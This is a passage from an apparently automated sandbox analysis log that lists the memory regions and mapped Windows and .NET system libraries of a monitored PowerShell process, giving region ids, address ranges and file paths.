"\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 1678 start_va = 0x290000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 1680 start_va = 0x4340000 end_va = 0x451ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 1683 start_va = 0x2a0000 end_va = 0x2affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 1688 start_va = 0x6f440000 end_va = 0x6fe94fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\2c3c912ea8f058f9d04c4650128feb3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\2c3c912ea8f058f9d04c4650128feb3f\\system.ni.dll") Region: id = 1691 start_va = 0x6ddb0000 end_va = 0x6e5c7fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\31fae3290fad30c31c98651462d22724\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\31fae3290fad30c31c98651462d22724\\system.core.ni.dll") Region: id = 1694 start_va = 0x71c10000 end_va = 0x71c9efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\731848746c032af3ce33577b793c9b9c\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\731848746c032af3ce33577b793c9b9c\\microsoft.powershell.consolehost.ni.dll") Region: id = 1695 start_va = 0x73950000 end_va = 0x73966fff monitored = 0 entry_point = 0x73953573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1698 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1699 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1700 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1701 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1702 start_va = 0x2b0000 end_va = 0x2ebfff monitored = 0 entry_point = 0x2b128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1703 start_va = 0x73910000 end_va = 0x7394afff monitored = 0 entry_point = 0x7391128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1716 start_va = 0x6bb40000 end_va = 0x6d622fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\a68aa6199c81feadf8c95a4ea0254b2c\\system.management.automation.ni.dll") Region: id = 1720 start_va = 0x870000 end_va = 0x8d1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 1721 start_va = 0x920000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 1723 start_va = 0x2b0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1724 start_va = 0x410000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 1725 start_va = 0x43a0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1726 start_va = 0x4450000 end_va = 0x448ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 1727 start_va = 0x44e0000 end_va = 0x451ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044e0000" filename = "" Region: id = 1728 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1729 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 1747 start_va = 0x723a0000 end_va = 0x723b2fff monitored = 1 entry_point = 0x723ad900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 1748 start_va = 0x4520000 end_va = 0x47f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 1751 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1758 start_va = 0x6ad20000 end_va = 0x6b42bfff monitored = 1 entry_point = 0x6b33f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1759 start_va = 0x4800000 end_va = 0x48bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 1760 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1761 start_va = 0x6ad20000 end_va = 0x6b42bfff monitored = 1 entry_point = 0x6b33f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 1766 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1769 start_va = 0x75ff0000 end_va = 0x76c39fff monitored = 0 entry_point = 0x76071601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 1770 start_va = 0x2f0000 end_va = 0x2f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 1775 start_va = 0x74f10000 end_va = 0x74f3efff monitored = 0 entry_point = 0x74f12a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 1782 start_va = 0x74fc0000 end_va = 0x750e0fff monitored = 0 entry_point = 0x74fc158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 1783 start_va = 0x75810000 end_va = 0x7581bfff monitored = 0 entry_point = 0x7581238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 1788 start_va = 0x48f0000 end_va = 0x492ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 1789 start_va = 0x4a00000 end_va = 0x4a3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a00000" filename = "" Region: id = 1790 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 1791 start_va = 0x380000 end_va = 0x387fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1792 start_va = 0x72350000 end_va = 0x72357fff monitored = 0 entry_point = 0x72353bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 1811 start_va = 0x4400000 end_va = 0x443ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 1812 start_va = 0x4990000 end_va = 0x49cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004990000" filename = "" Region: id = 1813 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 1814 start_va = 0x4a40000 end_va = 0x4e3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a40000" filename = "" Region: id = 1815 start_va = 0x390000 end_va = 0x397fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 1816 start_va = 0x4a40000 end_va = 0x4e3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004a40000" filename = "" Region: id = 1821 start_va = 0x4ad0000 end_va = 0x4b0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ad0000" filename = "" Region: id = 1822 start_va = 0x4b40000 end_va = 0x4b7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b40000" filename = "" Region: id = 1823 start_va = 0x71bf0000 end_va = 0x71c05fff monitored = 0 entry_point = 0x71bf13df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 1824 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 1829 start_va = 0x71e30000 end_va = 0x71eb3fff monitored = 0 entry_point = 0x71e319a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 1830 start_va = 0x4b80000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 1831 start_va = 0x71be0000 end_va = 0x71be9fff monitored = 0 entry_point = 0x71be4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 1839 start_va = 0x4b80000 end_va = 0x4c7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004b80000" filename = "" Region: id = 1840 start_va = 0x4cf0000 end_va = 0x4cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 1844 start_va = 0x380000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 1845 start_va = 0x4a40000 end_va = 0x4a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a40000" filename = "" Region: id = 1846 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 1859 start_va = 0x400000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1860 start_va = 0x4440000 end_va = 0x447ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004440000" filename = "" Region: id = 1861 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1863 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 1880 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1881 start_va = 0x8f0000 end_va = 0x8f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1882 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1883 start_va = 0x8f0000 end_va = 0x8f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1884 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1885 start_va = 0x8e0000 end_va = 0x8e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1886 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1893 start_va = 0x8e0000 end_va = 0x8e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1894 start_va = 0x8e0000 end_va = 0x8e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 1895 start_va = 0x8e0000 end_va = 0x8e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 1908 start_va = 0x44a0000 end_va = 0x44dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044a0000" filename = "" Region: id = 1909 start_va = 0x4a90000 end_va = 0x4acffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004a90000" filename = "" Region: id = 1910 start_va = 0x4d60000 end_va = 0x4d9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d60000" filename = "" Region: id = 1911 start_va = 0x4da0000 end_va = 0x4ddffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004da0000" filename = "" Region: id = 1912 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 1913 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 1916 start_va = 0x6b320000 end_va = 0x6bb39fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\df2dd09ed7c341842a104e1e668f184e\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.data\\df2dd09ed7c341842a104e1e668f184e\\system.data.ni.dll") Region: id = 1919 start_va = 0x6afc0000 end_va = 0x6b313fff monitored = 1 entry_point = 0x6b2f7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1921 start_va = 0x74da0000 end_va = 0x74dd4fff monitored = 0 entry_point = 0x74da145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 1922 start_va = 0x75c30000 end_va = 0x75c35fff monitored = 0 entry_point = 0x75c31782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 1927 start_va = 0x4de0000 end_va = 0x5130fff monitored = 1 entry_point = 0x5117a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1928 start_va = 0x4de0000 end_va = 0x5130fff monitored = 1 entry_point = 0x5117a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1929 start_va = 0x4de0000 end_va = 0x5130fff monitored = 1 entry_point = 0x5117a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1930 start_va = 0x4de0000 end_va = 0x5130fff monitored = 1 entry_point = 0x5117a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 1940 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1942 start_va = 0x6d630000 end_va = 0x6dda3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 1944 start_va = 0x71ab0000 end_va = 0x71bdffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 1947 start_va = 0x6ae90000 end_va = 0x6afbbfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\system.directoryservices.ni.dll") Region: id = 1954 start_va = 0x74960000 end_va = 0x74962fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 1955 start_va = 0x72180000 end_va = 0x72208fff monitored = 1 entry_point = 0x72181130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 1958 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 1960 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 1963 start_va = 0x6ae30000 end_va = 0x6ae83fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\microsoft.powershell.security.ni.dll") Region: id = 1965 start_va = 0x1ff0000 end_va = 0x202ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 1966 start_va = 0x4df0000 end_va = 0x4e2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004df0000" filename = "" Region: id = 1967 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 1968 start_va = 0x6ad70000 end_va = 0x6ae27fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\3d760b4a3260a41ef84a3fd866780980\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.transactions\\3d760b4a3260a41ef84a3fd866780980\\system.transactions.ni.dll") Region: id = 1979 start_va = 0x71a60000 end_va = 0x71aabfff monitored = 1 entry_point = 0x71a7fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1980 start_va = 0x9a0000 end_va = 0x9ebfff monitored = 1 entry_point = 0x9bfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1989 start_va = 0x9a0000 end_va = 0x9ebfff monitored = 1 entry_point = 0x9bfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1990 start_va = 0x9a0000 end_va = 0x9ebfff monitored = 1 entry_point = 0x9bfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1991 start_va = 0x9a0000 end_va = 0x9ebfff monitored = 1 entry_point = 0x9bfcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 1993 start_va = 0x6ad60000 end_va = 0x6ad67fff monitored = 0 entry_point = 0x6ad610e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 1997 start_va = 0x4d00000 end_va = 0x4d3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d00000" filename = "" Region: id = 1998 start_va = 0x4e40000 end_va = 0x4e7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e40000" filename = "" Region: id = 1999 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 2003 start_va = 0x71ec0000 end_va = 0x71fc4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 2007 start_va = 0x4e80000 end_va = 0x4efffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e80000" filename = "" Region: id = 2011 start_va = 0x6ace0000 end_va = 0x6ad5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\Microsoft.Management.Infrastructure.ni.dll" 